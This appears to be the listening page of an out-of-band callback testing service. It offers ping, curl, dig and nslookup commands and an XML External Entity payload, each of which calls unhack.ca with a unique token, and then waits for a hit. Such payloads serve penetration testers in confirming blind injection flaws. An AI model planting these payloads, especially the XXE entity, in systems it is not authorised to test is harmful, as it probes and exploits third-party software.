$ ping -c1 -p 00e968b0f7ec41bf4a75545a356d3700 unhack.ca
 
$ curl http://unhack.ca/p/e968b0f7ec41bf4a75545a356d37
 
$ dig e968b0f7ec41bf4a75545a356d37 @unhack.ca
 
$ dig e968b0f7ec41bf4a75545a356d37.ns.unhack.ca
 
C:\> nslookup e968b0f7ec41bf4a75545a356d37 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e968b0f7ec41bf4a75545a356d37">]>
    <foo>&xxe;</foo>
Waiting for ping...